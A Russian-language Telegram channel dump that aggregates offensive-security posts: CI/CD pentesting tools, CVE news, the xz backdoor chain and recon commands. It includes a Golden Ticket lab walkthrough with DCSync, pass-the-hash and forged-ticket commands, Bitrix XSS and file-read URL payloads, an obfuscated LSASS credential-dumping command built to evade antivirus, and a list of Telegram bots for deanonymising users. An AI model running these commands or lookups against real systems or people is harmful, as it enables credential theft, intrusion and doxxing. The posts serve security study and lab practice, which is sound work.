Pentester's Backlog
588 subscribers
309 photos
15 videos
44 files
424 links
Агрегатор новостей из мира наступательной безопасности.

EDUCATIONAL PURPOSES ONLY
Download Telegram
Forwarded from Blue (h/c)at Café (Женя Белкин '";DROP DATABASE db_name();--)
🔺 Ускоряем пентест CI/CD
Пост должен был выйти чуть позже, но увидев, что скоро начнется соревнование для попадания на Standoff 13 👨‍💻 я решил выпустить его чуть раньше. Он может вам пригодиться, особенно, если оценивать прошлый год.

В последние годы пентестеры все больше обращают внимание на присутствие платформ DevOps, а уже и DevSecOps. Эти экосистемы состоят из различных сервисов, используемых в конвейерах CI/CD, включая:

🔵 Репозитории исходного кода (Gitlab, Gitea)

🔵 Реестры контейнеров (Docker Registry, Sonatype Nexus, JFrog)

🔵 Серверы автоматизации (Gitlab-CI, Jenkins)

🔵 Инструменты для обеспечения качества и безопасности кода (много об этом говорили).

Перспективы копать именно под CI/CD: Возможности и проблемы

Для злоумышленников и пентестеров экосистема CI/CD представляет собой "обоюдоострый меч" — богатство информации и потенциальные точки входа. Слияние множества сервисов, от репозиториев до серверов автоматизации, хранит в себе кучу данных, включая исходный код, образы контейнеров и различные учетные данные 🌐. Такая среда облегчает горизонтальное перемещение, а скомпрометированные API-токены открывают путь для дальнейшей эксплуатации.

Мой личный опыт работы показывает, что компрометация облачных сервисов через CI/CD — это быстрый путь к эскалации. (привет уязвимостям в GitLab 🤗)

📕

Пример таких уязвимостей:

CVE-2022-2185 — ТЫК
CVE-2021-22205 — ТЫК
CVE-2023-5009 — ТЫК
CVE-2023-7028 — ТЫК
CVE-2024-0402 — ТЫК


Но тут возникают сложности... множество целей в экосистеме CI/CD, зависимость от официальных API для атак и огромный объем данных требуют стратегического и автоматизированного подхода.

😜 Виновник поста или швейцарский нож для тестирования на проникновение в CI/CD

💻 Сразу ссылка на инструмент — ТЫК

Epyon был представлен в 2022 году как универсальный инструмент для работы пентестеров в экосистемах CI/CD. Разработанный на языке 💻, включает в себя ряд модулей, предназначенных для взаимодействия с распространенными системами DevOps, и легко интегрируется с такими инструментами, как Gitleaks и TruffleHog, для улучшения разведки и эксплуатации (именно этим мне он и понравился).

Модули Epyon охватывают широкий спектр, включая:

1. Gitlab
2. Github
3. Jenkins
4. Azure DevOps
5. Sonatype Nexus
6. Docker Registry
7. Sonarqube
8. Gitea
9. Artifactory
10. Terraform Cloud/Enterprise

✏️ Перейдем к тестам

Я протестировал его в своей домашней лаборатории, изучив модули Gitlab(community), Jenkins, Nexus(community) и Docker Registry (про него и поговорим).

Изначально хотел проверить на Gitlab, но столкнулся с проблемой. У меня слишком много проектов, которые пришлось бы скрывать, чтобы не показывать спойлеры для будущих проектов и стратап-идей.


Пример: HTTP API Docker Registry.

Команда epyon registry может быть использована для взаимодействия с реестром Docker:

Epyon позволяет пользователям легко взаимодействовать с API реестра и получать информацию о нескольких образах контейнеров. Следующий список показывает шаги, которые были выполнены в этом примере:

Шаг 01: Получить список образов

Опция list-images может быть использована для перечисления всех образов контейнеров.

Шаг 02: Получить теги для каждого образа

Опция list-tags получит все доступные теги для каждого образа.

Шаг 03: Скачать образы контейнеров

Опция download-images загрузит и извлечет содержимое образа (загруженные файлы будут помещены в каталог, указанный в файле config.yaml).

Шаг 04: Поиск учетных данных

Недавно в каком-то из чатов спрашивали про поиск учеток в докере. Так вот, как там и ответил, я буду использовать Trufflehog.

🥂 Profit

Вот нами уже и найдены login/pass, api key и много других критически важных артефактов

🛡 Заключение

В нашем деле важно уметь сокращать время, затрачиваемое на выполнение рутинных задач. И данный инструмент с этим справляется как нельзя кстати. Из минусов хочу отметить отсутствие тонкой настройки работы через конфиг, хотя сделать это через библиотеку go viper достаточно просто.

#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from GreyTeam | Хакеры
«За долгое время работы насобирали много шишек, как своих, так и чужих, подслушанных в кулуарах (эти истории включены с одобрения владельцев). С радостью дадим вам вредных советов, чтобы вы могли набить такие же. Хорошим пентестерам к прочтению запрещено!»

#pentest
#osint

https://telegra.ph/Kak-zaporot-fishing-sovety-pentesteram-03-21
Forwarded from 1N73LL1G3NC3
This media is not supported in your browser
VIEW IN TELEGRAM
CVE-2024-1086 Linux kernel LPE

Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.

A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the Flipping Pages blogpost.
🔥1
Kerberos простыми словами

Прекрасный лонгрид от Юрия Строжевского про механизм работы протокола Kerberos, его технические ньюансы, а также о способе его тестирования.

👁 Читать
Мы совместно с 🐈‍⬛ @CentralWeb057 🐈‍⬛ замутили совместную подборку БАЗОВЫХ телеграм ботов для осинта по по тг пользователем (ссылки актуальные)

DISCLAIMER: Не использовать информацию в целях докса или деанона

@xtl2yokcskss_bot - дефолт глаз бога 👀

@AngelSystemRobot - дефолт архангел 🪽

@search_is_himera_bot - дефолт химера 👹

@UniversalSearchTopBot - неплохая альтернатива предыдущим трем

@unamer_bot - история юзернеймов / @SangMata_BOT - бесплатный аналог

@ibhld_bot - интересы
@telesint_bot - чаты
@funstatbot - стата по активности в чатах

☺️ удачных вам расследований ребята, а серия постов по осинту будет продолжаться ☺️
Please open Telegram to view this post
VIEW IN TELEGRAM
😈2🥴1
Forwarded from Cult Of Wire
subfinder и sublist3r инструменты хорошие и быстрые, но могут давать немного разный результат. А так как вывод в одном формате, мы можем собрать всё в один список.

Ищем возможные поддомены:
subfinder -d domain.com -nc -o domain_subfinder.txt      
sublist3r -n -d domain.com -o domain_sublist3r.txt

Собираем в один файл:
cat domain_subfinder.txt domain_sublis3r.txt | sort | uniq > domain_uniq.txt

А дальше уже на своё усмотрение. Можно поискать веб:
eyewitness -f domain_uniq.txt.txt --web
httpx -l domain_uniq.txt -sc

Или просто передать в nuclei или nmap.
Forwarded from Offensive Xwitter
😈 [ Kali Linux @kalilinux ]

The xz package, starting from version 5.6.0 to 5.6.1, was found to contain a backdoor. The impact of this vulnerability affected Kali between March 26th to March 29th. If you updated your Kali installation on or after March 26th, it is crucial to apply the latest updates today.

🐥 [ tweet ]

⚠️ UPDATE ASAP ⚠️
Forwarded from вольтаж
xz бэкдор

Уже все написали про бэкдор, но без разбора гениальности этого бекдора, чем я сейчас и займусь.

Для тех, кто в танке - в библиотеке liblzma, для пакета xz, позволяющим сжимать файлы в нечто с расширением .xz, обнаружили бэкдор, позволяющий спокойно подключиться к вашему SSH серверу.

Причём, бэкдор есть только в .tar архивах, приложенных к релизам 5.6.0-1, а сам бэкдор был найден не секьюрити ресерчером, а обычным прогером, когда тот заинтересовался "почему потребление CPU растет x10 при подключении по SSH"

Теперь к разбору цепочки поставок в компрометацию сервера

0. в файле конфигурации исполняется скрипт build-to-host.m4, модифицирующий Makefile для билда, если на хосте запущен процесс sshd в /usr/bin

1. делает он это через "тестирование" с архивами bad-3-corrupt_lzma2.xz и good-large-compressed.lzma (не используемые для тестов где-либо ещё)

2. тесты приводят к исполнению кода, сжатому в bad-3-corrupt_lzma2.xz, который распаковывает архив good-large-compressed.lzma

3. код внутри good-large-compressed.lzma исполняется, приводя к внедрению liblzma_la-crc64-fast.o (сам бэкдор) в $builddir/src/liblzma/Makefile

4. после билда и успешной установки, бэкдор перехватывает исполнение через подмену ifunc resolvers для crc32_resolve() и crc64_resolve(), меняя код на вызов _get_cpuid()

ifunc - механизм glibc, позволяющая реализовывать функцию разными способами, и выбирая между реализациями во время работы программы


5. после бекдор мониторит динамическое подключение библиотек к процессу через тут же поставленный audit hook, ожидая подключение библиотеки RSA_public_decrypt@got.plt

6. увидев подключение RSA_public_decrypt@got.plt, бекдор подменяет адрес библиотеки на адрес подконтрольного кода

Готово! Теперь, при подключении по SSH, в контексте перед аутентфикацией по ключу, процесс исполнит подконтрольный злоумышленнику код =)

Для великих пывнеров, разрабов малвари и прочих заинтересованных, рекомендую почитать текст оригинального письма, описывающего бэкдор и описание ситуации с бэкдором на гитхабе
🥴1
Forwarded from Похек (Сергей Зыбнев)
Целуй ту руку, что тебя кормит
#projectdiscovery #nuclei #automation

Решил для себя и для вас написать ультимативный скрипт, который будет устанавливать все нужные инструменты от PD и оперативно подготавливать машину к пентесту.

Создать файл: nano setup.sh

#!/bin/bash

echo "██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗"
echo "██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██║ ██╔╝"
echo "██████╔╝██║ ██║ ╚███╔╝ █████╗ █████╔╝ "
echo "██╔═══╝ ██║ ██║ ██╔██╗ ██╔══╝ ██╔═██╗ "
echo "██║ ╚██████╔╝██╔╝ ██╗███████╗██║ ██╗"
echo "╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝"
echo
echo "Created by Zybnev Sergey | https://t.me/poxek"
echo

echo "Install prerequirements..."
sudo apt-get update &> /dev/null
sudo apt-get install -y git curl wget &> /dev/null

if ! command -v go &> /dev/null; then
echo "Go is not installed. Installing..."

wget https://golang.org/dl/go1.22.1.linux-amd64.tar.gz

sudo tar -C /usr/local -xzf go*.linux-amd64.tar.gz

rm go*.linux-amd64.tar.gz

echo -e '\n\n\nexport PATH=$PATH:/usr/local/go/bin\nexport PATH="$PATH:$HOME/go/bin"' >> ~/.zshrc

source ~/.zshrc

echo -e "Go has been installed successfully: $(go version)\nStarting install..."
else
echo "Starting install..."
fi

echo "Install deps..."
sudo apt-get install -y libpcap-dev &> /dev/null

echo "Installing tools..."
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/katana/cmd/katana@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install github.com/projectdiscovery/shuffledns/cmd/shuffledns@latest
go install github.com/projectdiscovery/notify/cmd/notify@latest

echo "Install nuclei templates"
cd ~
git clone https://github.com/projectdiscovery/nuclei-templates
git clone https://github.com/projectdiscovery/fuzzing-templates

echo "Add cron jobs for updating fuzzing & nuclei templates"
## Define the cron job command to check for
update_nuclei_templates="0 */12 * * * cd ~/nuclei-templates && git pull"
update_fuzzing_templates="0 */12 * * * cd ~/fuzzing-templates && git pull"

## Check if the cron job1 exists in the crontab
if crontab -l | grep -qF "$update_nuclei_templates"; then
echo "The cron job1 exists in the crontab."
else
echo -e "$update_nuclei_templates\n$update_fuzzing_templates" | crontab -
fi

clear
echo "Thx for using script! tg@poxek"


Запуск:
chmod u+x setup.sh; ./setup.sh

Но если более короткий способ:
curl https://raw.githubusercontent.com/szybnev/setup/main/setup.sh | bash


Надеюсь этот скрипт будет использоваться в будущем. Я уж точно буду им пользоваться)

🛠 Github

Если у вас есть идеи, какие инструментами все пользуются и их стоит добавить, то оставляйте issues!

🐈 Бонус:
Скрипт для смены цветовой палитры термина. Тут выбрать палитру. Скрипт выведет список палитр и по номеру(ам) установит выбранную схему(ы):
bash -c  "$(wget -qO- https://git.io/vQgMr)"

Я себе поставил Google Dark - 83

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Purple Chronicles (ELK Enjoyer)
🎫Немного о Golden Ticket🎫

Изучая ресурсы по типу HackTricks, вы могли неоднократно увидеть способ выдачи и использования золотого билета при помощи ticketer.py из набора Impacket👩‍💻:
python3 ticketer.py -aesKey $krbtgtAESkey -domain-sid $domainSID -domain $DOMAIN randomuser


Но выпустив себе билет таким образом, при попытке его использования вы увидите следующую ошибку:
[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)

О чем говорит эта ошибка? Билет был отозван? Но мы же только что его выпустили!

Вся причина в том, что кто-то не следит за патч-ноутами. С ноября 2021 года компания Microsoft начала распространять обновление KB5008380, которое вводилось в несколько этапов. Его целью была нейтрализация серьезной уязвимости CVE-2021-42287, которая позволяла атакующему без особых усилий олицетворять контроллеры домена, злоупотребляя Privilege Attribute Certificate (PAC) Kerberos🖼️

Для тех, кто не в теме:
Privilege Attribute Certificate (PAC) — это компонент, используемый в протоколе аутентификации Kerberos, который хранит дополнительную информацию об авторизации пользователя и прикрепляется к билету Kerberos, предоставляя подробную информацию о членстве пользователя в группах, привилегиях и других атрибутах, связанных с безопасностью.

Возвращаясь к патчу, Microsoft обновила PAC, добавив две новые структуры данных: PAC_ATTRIBUTES_INFO и PAC_REQUESTOR. Наиболее интересной частью патча является новая проверка, представленная структурой PAC_REQUESTOR. С её появлением KDC проверяет имя пользователя (клиента) в билете, который разрешается в SID, включенный в PAC. Поэтому с октября 2022 года любой билет без новой структуры PAC (или билет для несуществующего пользователя) будет отклонен. Естественно, если обновление установлено.
В этом и кроется суть ошибки, которую мы могли наблюдать выше.

Вместе с обновлением подход к созданию золотых билетов тоже изменился. Мы не можем выпустить Golden Ticket для произвольного пользователя, но можем воспользоваться существующим!
Для начала обновите Impacket!
apt install python3-impacket

После обновления выпустить золотой билет можно следующей командой:
python3 ticketer.py -aesKey $krbtgtAESkey -domain-sid $domainSID -domain $DOMAIN -user-id 1000 validuser

При этом обратная совместимость со старым PAC так же останется:
python3 ticketer.py -nthash $krbtgtRC4key -domain-sid $domainSID -domain $DOMAIN -old-pac username


Практический пример использования Golden Ticket на примере уже разобранной мной лабораторной Kingdom с платформы Codeby.Games:
# Получаем SID домена:
impacket-lookupsid codeby.cdb/administrator:'Not_alon3'@192.168.2.4

# Делаем DCSync, получаем ключи учетки krbtgt:
impacket-secretsdump codeby.cdb/administrator:'Not_alon3'@192.168.2.4 -just-dc-user krbtgt

# Осуществляем RID-брутфорс для получения пар RID+user (тут я внезапно использовал Pass-the-Hash):
crackmapexec smb 192.168.2.4 -u Administrator -H 3c3d0f466260c126a80abe255cdfffad --rid-brute

# Выпускаем золотой билет:
impacket-ticketer -aesKey
c8a4d26bcf29ff5cd29882308907b5536af9857de7cbfb4c1bf1cd789b3799d2 -domain-sid S-1-5-21-1870022127-3338747641-451296598 -domain codeby.cdb -user-id 1105 amaslova

# Добавляем запись в /etc/hosts, потому что Kerberos работает с именами служб:
echo '192.168.2.4 kingdom.codeby.cdb kingdom codeby.cdb' >> /etc/hosts

# Используем smbexec с созданным золотым билетом:
export KRB5CCNAME=amaslova.ccache
impacket-smbexec codeby.cdb/amaslova@kingdom.codeby.cdb -k -no-pass


Результат можно увидеть на приложенных к посту (ниже) скриншотах. На первом из них видна попытка выпустить билет на несуществующего пользователя, а на втором — успешное использование золотого билета, выпущенного для непривилегированной учетной записи amaslova!
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Purple Chronicles (ELK Enjoyer)
Forwarded from SecurityLab.ru
Критическая брешь в HTTP/2: CONTINUATION Flood приводит к мощнейшим DoS-атакам

🔒 Исследователь в области кибербезопасности Бартек Новотарски обнаружил уязвимость в протоколе HTTP/2, получившую название «HTTP/2 CONTINUATION Flood». ‍

🥷 Злоумышленник может использовать эту уязвимость для DoS-атаки, отправив бесконечный поток заголовков, что приведет к переполнению памяти сервера и его аварийному завершению работы.

💡Брешь затрагивает множество популярных проектов, таких как Apache HTTP Server, Apache Tomcat, Golang и Node.js. В качестве временного решения рекомендуется отключить поддержку HTTP/2 на сервере, до применения обновления, чтобы избежать потенциальных атак.

#CyberSecurity #HTTP2Vulnerability #DoSAttack @SecLabNews
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯1
Forwarded from SHADOW:Group
😱 Уязвимости в установщике Битрикс

Для установки Битрикса есть скрипт bitrixsetup.php, который разработчики рекомендуют удалять после установки, но, как выяснилось, не все это делают. При обнаружении этого скрипта основной вектор атаки, который приходит в голову, это переустановить CMS и загрузить веб-шелл через административную панель.

Иногда админы просто ограничивают права на запись в директорию и считают, что этого будет достаточно, однако данный скрипт сам по себе оказался уязвим к XSS и LFR:

XSS:
https://target.com/bitrixsetup.php?action=UNPACK&filename=<img src='' onerror=alert(document.domain)>

LFR:
https://target.com/bitrixsetup.php?action=UNPACK&filename=../../../../etc/passwd 


Более подробно читайте в статье на хабре.

#web #bitrix #xss #lfr
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Forwarded from PT SWARM
🏭 We've tested the new RCE in Microsoft Outlook (CVE-2024-21378) in a production environment and confirm it works well!

A brief instruction for red teams:

1. Compile our enhanced DLL;
2. Use NetSPI's ruler and wait!

No back connect required!

🔥 📐📏
🔥1
Forwarded from Ralf Hacker Channel (Ralf Hacker)
Ой, красота))) Получить данные из LSA без дампа LSASS.

Historically was able to (and may presently still) bypass:
* Windows Defender
* Malwarebytes Anti-Malware
* CrowdStrike Falcon EDR (Falcon Complete + OverWatch)


Tool: https://github.com/Meowmycks/LetMeowIn?tab=readme-ov-file

Blog: https://posts.specterops.io/lsa-whisperer-20874277ea3b

#redteam #pentest #creds #dump
Obfuscated LSASS dumper command

&$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l | % {
$_.FullName }), `#-999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999976-decoy $(gps l?a*s).id c:\t??p\dmp.log full;


😨 Подробнее, почему такое вообще возможно
2🥴1